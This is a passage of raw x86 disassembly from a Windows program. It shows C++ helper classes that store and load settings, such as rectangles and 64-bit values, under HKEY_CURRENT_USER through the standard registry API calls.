		add	ecx, 20h
		call	sub_4283A0
		push	0
		push	0
		push	0
		push	0
		lea	ecx, [ebp-1Ch]
		call	sub_428320
		mov	ecx, [ebp-30h]
		add	ecx, 10h
		mov	edx, [eax]
		mov	[ecx], edx
		mov	edx, [eax+4]
		mov	[ecx+4], edx
		mov	edx, [eax+8]
		mov	[ecx+8], edx
		mov	eax, [eax+0Ch]
		mov	[ecx+0Ch], eax
		push	0
		push	0
		push	0
		push	0
		lea	ecx, [ebp-2Ch]
		call	sub_428320
		mov	ecx, [ebp-30h]
		add	ecx, 20h
		mov	edx, [eax]
		mov	[ecx], edx
		mov	edx, [eax+4]
		mov	[ecx+4], edx
		mov	edx, [eax+8]
		mov	[ecx+8], edx
		mov	eax, [eax+0Ch]
		mov	[ecx+0Ch], eax
		push	offset dword_439CC4
		mov	ecx, [ebp-30h]
		add	ecx, 8
		call	sub_43163C
		mov	ecx, [ebp-30h]
		mov	dword ptr [ecx], 80000001h
		mov	edx, [ebp-30h]
		mov	dword ptr [edx+30h], 0
		mov	eax, [ebp-30h]
		mov	dword ptr [eax+34h], 0
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, [ebp-30h]
		mov	ecx, [ebp-0Ch]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset loc_4324D7
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 3Ch
		push	esi
		mov	[ebp-38h], ecx
		mov	dword ptr [ebp-4], 0
		mov	ecx, [ebp-38h]
		call	sub_4281D0
		mov	byte ptr [ebp-4], 1
		mov	ecx, [ebp-38h]
		add	ecx, 10h
		call	sub_4283A0
		mov	ecx, [ebp-38h]
		add	ecx, 20h
		call	sub_4283A0
		push	0
		push	0
		push	0
		push	0
		lea	ecx, [ebp-1Ch]
		call	sub_428320
		mov	ecx, [ebp-38h]
		add	ecx, 10h
		mov	edx, [eax]
		mov	[ecx], edx
		mov	edx, [eax+4]
		mov	[ecx+4], edx
		mov	edx, [eax+8]
		mov	[ecx+8], edx
		mov	eax, [eax+0Ch]
		mov	[ecx+0Ch], eax
		mov	ecx, [ebp-38h]
		add	ecx, 20h
		mov	edx, [ebp+0Ch]
		mov	[ecx], edx
		mov	eax, [ebp+10h]
		mov	[ecx+4], eax
		mov	edx, [ebp+14h]
		mov	[ecx+8], edx
		mov	eax, [ebp+18h]
		mov	[ecx+0Ch], eax
		mov	ecx, [ebp-38h]
		mov	edx, [ebp+1Ch]
		mov	[ecx+34h], edx
		mov	eax, [ebp-38h]
		mov	ecx, [ebp+20h]
		mov	[eax], ecx
		mov	edx, [ebp-38h]
		mov	dword ptr [edx+30h], 0
		push	offset asc_437554 ; "\\"
		lea	ecx, [ebp+8]
		call	sub_431696
		push	5Ch
		lea	ecx, [ebp+8]
		call	sub_431666
		push	eax
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp+8]
		call	sub_431660
		mov	[ebp-3Ch], eax
		mov	ecx, [ebp-3Ch]
		mov	[ebp-40h], ecx
		mov	byte ptr [ebp-4], 2
		mov	edx, [ebp-40h]
		push	edx
		mov	ecx, [ebp-38h]
		add	ecx, 0Ch
		call	sub_431648
		mov	byte ptr [ebp-4], 1
		lea	ecx, [ebp-20h]
		call	sub_431642
		push	offset asc_437558 ; "\\"
		mov	ecx, [ebp-38h]
		add	ecx, 0Ch
		call	sub_431690
		lea	ecx, [ebp+8]
		call	sub_428280
		mov	esi, eax
		push	5Ch
		lea	ecx, [ebp+8]
		call	sub_431666
		sub	esi, eax
		push	esi
		lea	eax, [ebp-24h]
		push	eax
		lea	ecx, [ebp+8]
		call	sub_43168A
		mov	[ebp-44h], eax
		mov	ecx, [ebp-44h]
		mov	[ebp-48h], ecx
		mov	byte ptr [ebp-4], 3
		mov	edx, [ebp-48h]
		push	edx
		mov	ecx, [ebp-38h]
		add	ecx, 8
		call	sub_431648
		mov	byte ptr [ebp-4], 1
		lea	ecx, [ebp-24h]
		call	sub_431642
		push	offset asc_43755C ; "\\"
		mov	ecx, [ebp-38h]
		add	ecx, 8
		call	sub_431696
		push	offset asc_437560 ; "\\"
		mov	ecx, [ebp-38h]
		add	ecx, 8
		call	sub_431690
		lea	eax, [ebp-34h]
		push	eax
		mov	ecx, [ebp-38h]
		call	sub_4270ED
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp+8]
		call	sub_431642
		mov	eax, [ebp-38h]
		mov	ecx, [ebp-0Ch]
		mov	large fs:0, ecx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	1Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], ecx
		mov	ecx, [ebp-4]
		call	sub_428230
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4270ED	proc near		; CODE XREF: HLXc:004270B2p
					; HLXc:00427342p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	[ebp+var_2C], ecx
		mov	eax, [ebp+var_2C]
		add	eax, 4
		push	eax
		push	20019h
		push	0
		mov	ecx, [ebp+var_2C]
		add	ecx, 0Ch
		call	sub_4226A0
		push	eax
		mov	ecx, [ebp+var_2C]
		mov	edx, [ecx]
		push	edx
		call	dword_433004	; RegOpenKeyExA
		test	eax, eax
		jnz	loc_427248
		mov	[ebp+var_8], 0
		lea	eax, [ebp+var_8]
		push	eax
		push	0
		lea	ecx, [ebp+var_C]
		push	ecx
		push	0
		mov	ecx, [ebp+var_2C]
		add	ecx, 8
		call	sub_4226A0
		push	eax
		mov	edx, [ebp+var_2C]
		mov	eax, [edx+4]
		push	eax
		call	dword_433010	; RegQueryValueExA
		mov	ecx, [ebp+var_8]
		push	ecx
		call	sub_431624
		add	esp, 4
		mov	[ebp+var_10], eax
		mov	edx, [ebp+var_10]
		mov	[ebp+var_4], edx
		lea	eax, [ebp+var_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		lea	edx, [ebp+var_C]
		push	edx
		push	0
		mov	ecx, [ebp+var_2C]
		add	ecx, 8
		call	sub_4226A0
		push	eax
		mov	eax, [ebp+var_2C]
		mov	ecx, [eax+4]
		push	ecx
		call	dword_433010	; RegQueryValueExA
		test	eax, eax
		jnz	short loc_427205
		mov	edx, [ebp+var_4]
		push	edx
		lea	ecx, [ebp+var_20]
		call	sub_428360
		mov	ecx, [ebp+var_2C]
		add	ecx, 10h
		mov	edx, [eax]
		mov	[ecx], edx
		mov	edx, [eax+4]
		mov	[ecx+4], edx
		mov	edx, [eax+8]
		mov	[ecx+8], edx
		mov	eax, [eax+0Ch]
		mov	[ecx+0Ch], eax
		mov	ecx, [ebp+var_4]
		mov	[ebp+var_24], ecx
		mov	edx, [ebp+var_24]
		push	edx
		call	sub_43161E
		add	esp, 4
		mov	eax, [ebp+var_2C]
		mov	dword ptr [eax+30h], 1
		mov	ecx, [ebp+var_2C]
		mov	edx, [ecx+4]
		push	edx
		call	dword_433000	; RegCloseKey
		mov	eax, [ebp+var_2C]
		add	eax, 10h
		mov	ecx, [ebp+arg_0]
		mov	edx, [eax]
		mov	[ecx], edx
		mov	edx, [eax+4]
		mov	[ecx+4], edx
		mov	edx, [eax+8]
		mov	[ecx+8], edx
		mov	eax, [eax+0Ch]
		mov	[ecx+0Ch], eax
		mov	eax, [ebp+arg_0]
		jmp	short loc_42726A
; ---------------------------------------------------------------------------


loc_427205:				; CODE XREF: sub_4270ED+A1j
		mov	ecx, [ebp+var_4]
		mov	[ebp+var_28], ecx
		mov	edx, [ebp+var_28]
		push	edx
		call	sub_43161E
		add	esp, 4
		mov	eax, [ebp+var_2C]
		mov	ecx, [eax+4]
		push	ecx
		call	dword_433000	; RegCloseKey
		mov	edx, [ebp+var_2C]
		add	edx, 20h
		mov	eax, [ebp+arg_0]
		mov	ecx, [edx]
		mov	[eax], ecx
		mov	ecx, [edx+4]
		mov	[eax+4], ecx
		mov	ecx, [edx+8]
		mov	[eax+8], ecx
		mov	edx, [edx+0Ch]
		mov	[eax+0Ch], edx
		mov	eax, [ebp+arg_0]
		jmp	short loc_42726A
; ---------------------------------------------------------------------------


loc_427248:				; CODE XREF: sub_4270ED+31j
		mov	eax, [ebp+var_2C]
		add	eax, 20h
		mov	ecx, [ebp+arg_0]
		mov	edx, [eax]
		mov	[ecx], edx
		mov	edx, [eax+4]
		mov	[ecx+4], edx
		mov	edx, [eax+8]
		mov	[ecx+8], edx
		mov	eax, [eax+0Ch]
		mov	[ecx+0Ch], eax
		mov	eax, [ebp+arg_0]


loc_42726A:				; CODE XREF: sub_4270ED+116j
					; sub_4270ED+159j
		mov	esp, ebp
		pop	ebp
		retn	4
sub_4270ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427270	proc near		; CODE XREF: HLXc:004273B1p

var_8		= dword	ptr -8
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], ecx
		lea	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+var_8]
		add	ecx, 4
		push	ecx
		push	0
		push	20006h
		push	0
		push	offset dword_439CC8
		push	0
		mov	ecx, [ebp+var_8]
		add	ecx, 0Ch
		call	sub_4226A0
		push	eax
		mov	edx, [ebp+var_8]
		mov	eax, [edx]
		push	eax
		call	dword_43300C	; RegCreateKeyExA
		test	eax, eax
		jz	short loc_4272B2
		jmp	short loc_4272F8
; ---------------------------------------------------------------------------


loc_4272B2:				; CODE XREF: sub_427270+3Ej
		push	10h
		mov	ecx, [ebp+var_8]
		add	ecx, 10h
		call	sub_4283A0
		push	eax
		push	3
		push	0
		mov	ecx, [ebp+var_8]
		add	ecx, 8
		call	sub_4226A0
		push	eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4]
		push	edx
		call	dword_433008	; RegSetValueExA
		test	eax, eax
		jnz	short loc_4272EB
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax+30h], 1


loc_4272EB:				; CODE XREF: sub_427270+6Fj
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+4]
		push	edx
		call	dword_433000	; RegCloseKey


loc_4272F8:				; CODE XREF: sub_427270+40j
		mov	esp, ebp
		pop	ebp
		retn
sub_427270	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	[ebp-14h], ecx
		mov	eax, [ebp-14h]
		cmp	dword ptr [eax+30h], 0
		jz	short loc_42733B
		mov	ecx, [ebp-14h]
		cmp	dword ptr [ecx+34h], 0
		jnz	short loc_42733B
		mov	edx, [ebp-14h]
		add	edx, 10h
		mov	eax, [ebp+8]
		mov	ecx, [edx]
		mov	[eax], ecx
		mov	ecx, [edx+4]
		mov	[eax+4], ecx
		mov	ecx, [edx+8]
		mov	[eax+8], ecx
		mov	edx, [edx+0Ch]
		mov	[eax+0Ch], edx
		mov	eax, [ebp+8]
		jmp	short loc_427363
; ---------------------------------------------------------------------------


loc_42733B:				; CODE XREF: HLXc:0042730Cj
					; HLXc:00427315j
		lea	eax, [ebp-10h]
		push	eax
		mov	ecx, [ebp-14h]
		call	sub_4270ED
		mov	ecx, [ebp+8]
		mov	edx, [eax]
		mov	[ecx], edx
		mov	edx, [eax+4]
		mov	[ecx+4], edx
		mov	edx, [eax+8]
		mov	[ecx+8], edx
		mov	eax, [eax+0Ch]
		mov	[ecx+0Ch], eax
		mov	eax, [ebp+8]


loc_427363:				; CODE XREF: HLXc:00427339j
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], ecx
		mov	eax, [ebp-4]
		add	eax, 10h
		push	eax
		lea	ecx, [ebp+8]
		call	sub_428380
		test	eax, eax
		jz	short loc_427391
		mov	ecx, [ebp-4]
		cmp	dword ptr [ecx+34h], 0
		jnz	short loc_427391
		mov	eax, [ebp-4]
		jmp	short loc_4273B9
; ---------------------------------------------------------------------------


loc_427391:				; CODE XREF: HLXc:00427381j
					; HLXc:0042738Aj
		mov	edx, [ebp-4]
		add	edx, 10h
		mov	eax, [ebp+8]
		mov	[edx], eax
		mov	ecx, [ebp+0Ch]
		mov	[edx+4], ecx
		mov	eax, [ebp+10h]
		mov	[edx+8], eax
		mov	ecx, [ebp+14h]
		mov	[edx+0Ch], ecx
		mov	ecx, [ebp-4]
		call	sub_427270
		mov	eax, [ebp-4]


loc_4273B9:				; CODE XREF: HLXc:0042738Fj
		mov	esp, ebp
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset loc_4324EA
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 14h
		mov	[ebp-20h], ecx
		mov	ecx, [ebp-20h]
		call	sub_4281D0
		mov	dword ptr [ebp-4], 0
		mov	ecx, [ebp-20h]
		add	ecx, 10h
		call	sub_4283A0
		mov	ecx, [ebp-20h]
		add	ecx, 18h
		call	sub_4283A0
		push	0
		push	0
		lea	ecx, [ebp-14h]
		call	sub_4283B0
		mov	ecx, [eax]
		mov	edx, [eax+4]
		mov	eax, [ebp-20h]
		mov	[eax+10h], ecx
		mov	[eax+14h], edx
		push	0
		push	0
		lea	ecx, [ebp-1Ch]
		call	sub_4283B0
		mov	ecx, [eax]
		mov	edx, [eax+4]
		mov	eax, [ebp-20h]
		mov	[eax+18h], ecx
		mov	[eax+1Ch], edx
		push	offset dword_439CCC
		mov	ecx, [ebp-20h]
		add	ecx, 8
		call	sub_43163C
		mov	ecx, [ebp-20h]
		mov	dword ptr [ecx], 80000001h
		mov	edx, [ebp-20h]
		mov	dword ptr [edx+20h], 0
		mov	eax, [ebp-20h]
		mov	dword ptr [eax+24h], 0
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, [ebp-20h]
		mov	ecx, [ebp-0Ch]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset loc_432518
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 2Ch
		push	esi
		mov	[ebp-28h], ecx
		mov	dword ptr [ebp-4], 0
		mov	ecx, [ebp-28h]
		call	sub_4281D0
		mov	byte ptr [ebp-4], 1
		mov	ecx, [ebp-28h]
		add	ecx, 10h
		call	sub_4283A0
		mov	ecx, [ebp-28h]
		add	ecx, 18h
		call	sub_4283A0
		push	0
		push	0
		lea	ecx, [ebp-14h]
		call	sub_4283B0
		mov	ecx, [eax]
		mov	edx, [eax+4]
		mov	eax, [ebp-28h]
		mov	[eax+10h], ecx
		mov	[eax+14h], edx
		mov	ecx, [ebp-28h]
		mov	edx, [ebp+0Ch]
		mov	[ecx+18h], edx
		mov	eax, [ebp+10h]
		mov	[ecx+1Ch], eax
		mov	ecx, [ebp-28h]
		mov	edx, [ebp+14h]
		mov	[ecx+24h], edx
		mov	eax, [ebp-28h]
		mov	ecx, [ebp+18h]
		mov	[eax], ecx
		mov	edx, [ebp-28h]
		mov	dword ptr [edx+20h], 0
		push	offset asc_437564 ; "\\"
		lea	ecx, [ebp+8]
		call	sub_431696
		push	5Ch
		lea	ecx, [ebp+8]
		call	sub_431666
		push	eax
		lea	eax, [ebp-18h]
		push	eax
		lea	ecx, [ebp+8]
		call	sub_431660
		mov	[ebp-2Ch], eax
		mov	ecx, [ebp-2Ch]
		mov	[ebp-30h], ecx
		mov	byte ptr [ebp-4], 2
		mov	edx, [ebp-30h]
		push	edx
		mov	ecx, [ebp-28h]
		add	ecx, 0Ch
		call	sub_431648
		mov	byte ptr [ebp-4], 1
		lea	ecx, [ebp-18h]
		call	sub_431642
		push	offset asc_437568 ; "\\"
		mov	ecx, [ebp-28h]
		add	ecx, 0Ch
		call	sub_431690
		lea	ecx, [ebp+8]
		call	sub_428280
		mov	esi, eax
		push	5Ch
		lea	ecx, [ebp+8]
		call	sub_431666
		sub	esi, eax
		push	esi
		lea	eax, [ebp-1Ch]
		push	eax
		lea	ecx, [ebp+8]
		call	sub_43168A
		mov	[ebp-34h], eax
		mov	ecx, [ebp-34h]
		mov	[ebp-38h], ecx
		mov	byte ptr [ebp-4], 3
		mov	edx, [ebp-38h]
		push	edx
		mov	ecx, [ebp-28h]
		add	ecx, 8
		call	sub_431648
		mov	byte ptr [ebp-4], 1
		lea	ecx, [ebp-1Ch]
		call	sub_431642
		push	offset asc_43756C ; "\\"
		mov	ecx, [ebp-28h]
		add	ecx, 8
		call	sub_431696
		push	offset asc_437570 ; "\\"
		mov	ecx, [ebp-28h]
		add	ecx, 8
		call	sub_431690
		lea	eax, [ebp-24h]
		push	eax
		mov	ecx, [ebp-28h]
		call	sub_427610
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp+8]
		call	sub_431642
		mov	eax, [ebp-28h]
		mov	ecx, [ebp-0Ch]
		mov	large fs:0, ecx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	14h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp-4], ecx
		mov	ecx, [ebp-4]
		call	sub_428230
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427610	proc near		; CODE XREF: HLXc:004275D5p
					; HLXc:00427820p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		mov	[ebp+var_24], ecx
		mov	eax, [ebp+var_24]
		add	eax, 4
		push	eax
		push	20019h
		push	0
		mov	ecx, [ebp+var_24]
		add	ecx, 0Ch
		call	sub_4226A0
		push	eax
		mov	ecx, [ebp+var_24]
		mov	edx, [ecx]
		push	edx
		call	dword_433004	; RegOpenKeyExA
		test	eax, eax
		jnz	loc_427747
		mov	[ebp+var_4], 0
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		lea	ecx, [ebp+var_8]
		push	ecx
		push	0
		mov	ecx, [ebp+var_24]
		add	ecx, 8
		call	sub_4226A0
		push	eax
		mov	edx, [ebp+var_24]
		mov	eax, [edx+4]
		push	eax
		call	dword_433010	; RegQueryValueExA
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_431624
		add	esp, 4
		mov	[ebp+var_10], eax
		mov	edx, [ebp+var_10]
		mov	[ebp+var_C], edx
		lea	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+var_C]
		push	ecx
		lea	edx, [ebp+var_8]
		push	edx
		push	0
		mov	ecx, [ebp+var_24]
		add	ecx, 8
		call	sub_4226A0
		push	eax
		mov	eax, [ebp+var_24]
		mov	ecx, [eax+4]
		push	ecx
		call	dword_433010	; RegQueryValueExA
		test	eax, eax
		jnz	short loc_427712
		mov	edx, [ebp+var_C]
		mov	eax, [edx+4]
		push	eax
		mov	ecx, [edx]
		push	ecx
		lea	ecx, [ebp+var_18]
		call	sub_4283E0
		mov	edx, [eax]
		mov	eax, [eax+4]
		mov	ecx, [ebp+var_24]
		mov	[ecx+10h], edx
		mov	[ecx+14h], eax
		mov	edx, [ebp+var_C]
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_1C]
		push	eax
		call	sub_43161E
		add	esp, 4
		mov	ecx, [ebp+var_24]
		mov	dword ptr [ecx+20h], 1
		mov	edx, [ebp+var_24]
		mov	eax, [edx+4]
		push	eax
		call	dword_433000	; RegCloseKey
		mov	ecx, [ebp+var_24]
		mov	edx, [ecx+10h]
		mov	eax, [ecx+14h]
		mov	ecx, [ebp+arg_0]
		mov	[ecx], edx
		mov	[ecx+4], eax
		mov	eax, [ebp+arg_0]
		jmp	short loc_42775B
; ---------------------------------------------------------------------------


loc_427712:				; CODE XREF: sub_427610+A1j
		mov	edx, [ebp+var_C]
		mov	[ebp+var_20], edx
		mov	eax, [ebp+var_20]
		push	eax
		call	sub_43161E
		add	esp, 4
		mov	ecx, [ebp+var_24]
		mov	edx, [ecx+4]
		push	edx
		call	dword_433000	; RegCloseKey
		mov	eax, [ebp+var_24]
		mov	ecx, [eax+18h]
		mov	edx, [eax+1Ch]
		mov	eax, [ebp+arg_0]
		mov	[eax], ecx
		mov	[eax+4], edx
		mov	eax, [ebp+arg_0]
		jmp	short loc_42775B
; ---------------------------------------------------------------------------


loc_427747:				; CODE XREF: sub_427610+31j
		mov	ecx, [ebp+var_24]
		mov	edx, [ecx+18h]
		mov	eax, [ecx+1Ch]
		mov	ecx, [ebp+arg_0]
		mov	[ecx], edx
		mov	[ecx+4], eax
		mov	eax, [ebp+arg_0]


loc_42775B:				; CODE XREF: sub_427610+100j
					; sub_427610+135j
		mov	esp, ebp
		pop	ebp
		retn	4
sub_427610	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_427761	proc near		; CODE XREF: HLXc:00427887p

var_8		= dword	ptr -8
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], ecx
		lea	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+var_8]
		add	ecx, 4
		push	ecx
		push	0
		push	20006h
		push	0
		push	offset dword_439CD0
		push	0
		mov	ecx, [ebp+var_8]
		add	ecx, 0Ch
		call	sub_4226A0
		push	eax
		mov	edx, [ebp+var_8]
		mov	eax, [edx]
		push	eax
		call	dword_43300C	; RegCreateKeyExA
		test	eax, eax
		jz	short loc_4277A3
		jmp	short loc_4277E4
; ---------------------------------------------------------------------------


loc_4277A3:				; CODE XREF: sub_427761+3Ej
		push	8
		mov	ecx, [ebp+var_8]
		add	ecx, 10h
		push	ecx
		push	3
		push	0
		mov	ecx, [ebp+var_8]
		add	ecx, 8
		call	sub_4226A0
		push	eax
		mov	edx, [ebp+var_8]
		mov	eax, [edx+4]
		push	eax
		call	dword_433008	; RegSetValueExA
		test	eax, eax
		jnz	short loc_4277D7
		mov	ecx, [ebp+var_8]
		mov	dword ptr [ecx+20h], 1


loc_4277D7:				; CODE XREF: sub_427761+6Aj
		mov	edx, [ebp+var_8]
		mov	eax, [edx+4]
		push	eax
		call	dword_433000	; RegCloseKey


loc_4277E4:				; CODE XREF: sub_427761+40j
		mov	esp, ebp
		pop	ebp
		retn
sub_427761	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp-0Ch], ecx
		mov	eax, [ebp-0Ch]
		cmp	dword ptr [eax+20h], 0
		jz	short loc_427819
		mov	ecx, [ebp-0Ch]
		cmp	dword ptr [ecx+24h], 0
		jnz	short loc_427819
		mov	edx, [ebp-0Ch]
		mov	eax, [edx+10h]
		mov	ecx, [edx+14h]
		mov	edx, [ebp+8]
		mov	[edx], eax
		mov	[edx+4], ecx
		mov	eax, [ebp+8]
		jmp	short loc_427835
; ---------------------------------------------------------------------------


loc_427819:				; CODE XREF: HLXc:004277F8j
					; HLXc:00427801j
		lea	eax, [ebp-8]
		push	eax
		mov	ecx, [ebp-0Ch]
		call	sub_427610
		mov	ecx, [eax]
		mov	edx, [eax+4]
		mov	eax, [ebp+8]
		mov	[eax], ecx
		mov	[eax+4], edx
		mov	eax, [ebp+8]


loc_427835:				; CODE XREF: HLXc:00427817j
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp-0Ch], ecx
		mov	eax, [ebp-0Ch]
		mov	ecx, [eax+10h]
		mov	edx, [eax+14h]
		mov	[ebp-8], ecx
		mov	[ebp-4], edx
		mov	eax, [ebp-4]
		push	eax
		mov	ecx, [ebp-8]
		push	ecx
		lea	ecx, [ebp+8]
		call	sub_428400
		test	eax, eax
		jz	short loc_427875
		mov	edx, [ebp-0Ch]
		cmp	dword ptr [edx+24h], 0
		jnz	short loc_427875
		mov	eax, [ebp-0Ch]
		jmp	short loc_42788F
; ---------------------------------------------------------------------------


loc_427875:				; CODE XREF: HLXc:00427865j
					; HLXc:0042786Ej
		mov	eax, [ebp-0Ch]
		mov	ecx, [ebp+8]
		mov	[eax+10h], ecx
		mov	edx, [ebp+0Ch]
		mov	[eax+14h], edx
		mov	ecx, [ebp-0Ch]
		call	sub_427761
		mov	eax, [ebp-0Ch]


loc_42788F:				; CODE XREF: HLXc:00427873j
		mov	esp, ebp
		pop	ebp
		retn	8
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset loc_432545
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		mov	[ebp-18h], ecx
		mov	ecx, [ebp-18h]
		call	sub_428440
		mov	dword ptr [ebp-4], 0
		lea	eax, [ebp-10h]
		push	eax
		mov	ecx, [ebp-18h]
		add	ecx, 28h
		call	dword_43316C
		mov	byte ptr [ebp-4], 1
		lea	ecx, [ebp-14h]
		push	ecx
		mov	ecx, [ebp-18h]
		add	ecx, 38h
		call	dword_43316C
		mov	byte ptr [ebp-4], 2
		push	offset dword_439CD4
		mov	ecx, [ebp-18h]
		add	ecx, 28h
		call	dword_433194
		push	offset dword_439CD8
		mov	ecx, [ebp-18h]
		add	ecx, 38h
		call	dword_433194
		push	offset dword_439CDC
		mov	ecx, [ebp-18h]
		add	ecx, 8
		call	dword_433194
		mov	edx, [ebp-18h]
		mov	dword ptr [edx], 80000001h
		mov	eax, [ebp-18h]
		mov	dword ptr [eax+48h], 0
		mov	ecx, [ebp-18h]
		mov	dword ptr [ecx+4Ch], 0
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, [ebp-18h]
		mov	ecx, [ebp-0Ch]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset loc_43259A
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 50h
		mov	[ebp-4Ch], ecx
		mov	dword ptr [ebp-4], 1
		mov	ecx, [ebp-4Ch]
		call	sub_428440
		mov	byte ptr [ebp-4], 2
		lea	eax, [ebp-14h]
		push	eax
		mov	ecx, [ebp-4Ch]
		add	ecx, 28h
		call	dword_43316C
		mov	byte ptr [ebp-4], 3
		lea	ecx, [ebp-18h]
		push	ecx
		mov	ecx, [ebp-4Ch]
		add	ecx, 38h
		call	dword_43316C
		mov	byte ptr [ebp-4], 4
		push	offset dword_439CE0
		mov	ecx, [ebp-4Ch]
		add	ecx, 28h
		call	dword_433194
		lea	edx, [ebp+18h]
		push	edx
		mov	ecx, [ebp-4Ch]
		add	ecx, 38h
		call	dword_43317C
		mov	eax, [ebp-4Ch]
		mov	ecx, [ebp+28h]
		mov	[eax+4Ch], ecx
		mov	edx, [ebp-4Ch]
		mov	eax, [ebp+2Ch]
		mov	[edx], eax
		mov	ecx, [ebp-4Ch]
		mov	dword ptr [ecx+48h], 0
		mov	edx, dword_433178
		mov	eax, [edx]
		push	eax
		push	5Ch
		lea	ecx, [ebp+8]
		call	dword_433174
		mov	[ebp-10h], eax
		mov	ecx, [ebp-10h]
		push	ecx
		push	0
		lea	edx, [ebp-28h]
		push	edx
		lea	ecx, [ebp+8]
		call	dword_433170
		mov	[ebp-50h], eax
		mov	eax, [ebp-50h]
		mov	[ebp-54h], eax
		mov	byte ptr [ebp-4], 5
		mov	ecx, [ebp-54h]
		push	ecx
		mov	ecx, [ebp-4Ch]
		add	ecx, 18h
		call	dword_43317C
		mov	byte ptr [ebp-4], 4
		lea	ecx, [ebp-28h]
		call	dword_433168
		mov	edx, dword_433178
		mov	eax, [edx]
		push	eax
		mov	ecx, [ebp-10h]
		add	ecx, 1
		push	ecx
		lea	edx, [ebp-38h]
		push	edx
		lea	ecx, [ebp+8]
		call	dword_433170
		mov	[ebp-58h], eax
		mov	eax, [ebp-58h]
		mov	[ebp-5Ch], eax
		mov	byte ptr [ebp-4], 6
		mov	ecx, [ebp-5Ch]
		push	ecx
		mov	ecx, [ebp-4Ch]
		add	ecx, 8
		call	dword_43317C
		mov	byte ptr [ebp-4], 4
		lea	ecx, [ebp-38h]
		call	dword_433168
		lea	edx, [ebp-48h]
		push	edx
		mov	ecx, [ebp-4Ch]
		call	sub_427B23
		lea	ecx, [ebp-48h]
		call	dword_433168
		mov	byte ptr [ebp-4], 0
		lea	ecx, [ebp+8]
		call	dword_433168
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp+18h]
		call	dword_433168
		mov	eax, [ebp-4Ch]
		mov	ecx, [ebp-0Ch]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn	28h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset loc_4325BA
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	[ebp-10h], ecx
		mov	dword ptr [ebp-4], 1
		mov	ecx, [ebp-10h]
		add	ecx, 38h
		call	dword_433168
		mov	byte ptr [ebp-4], 0
		mov	ecx, [ebp-10h]
		add	ecx, 28h
		call	dword_433168
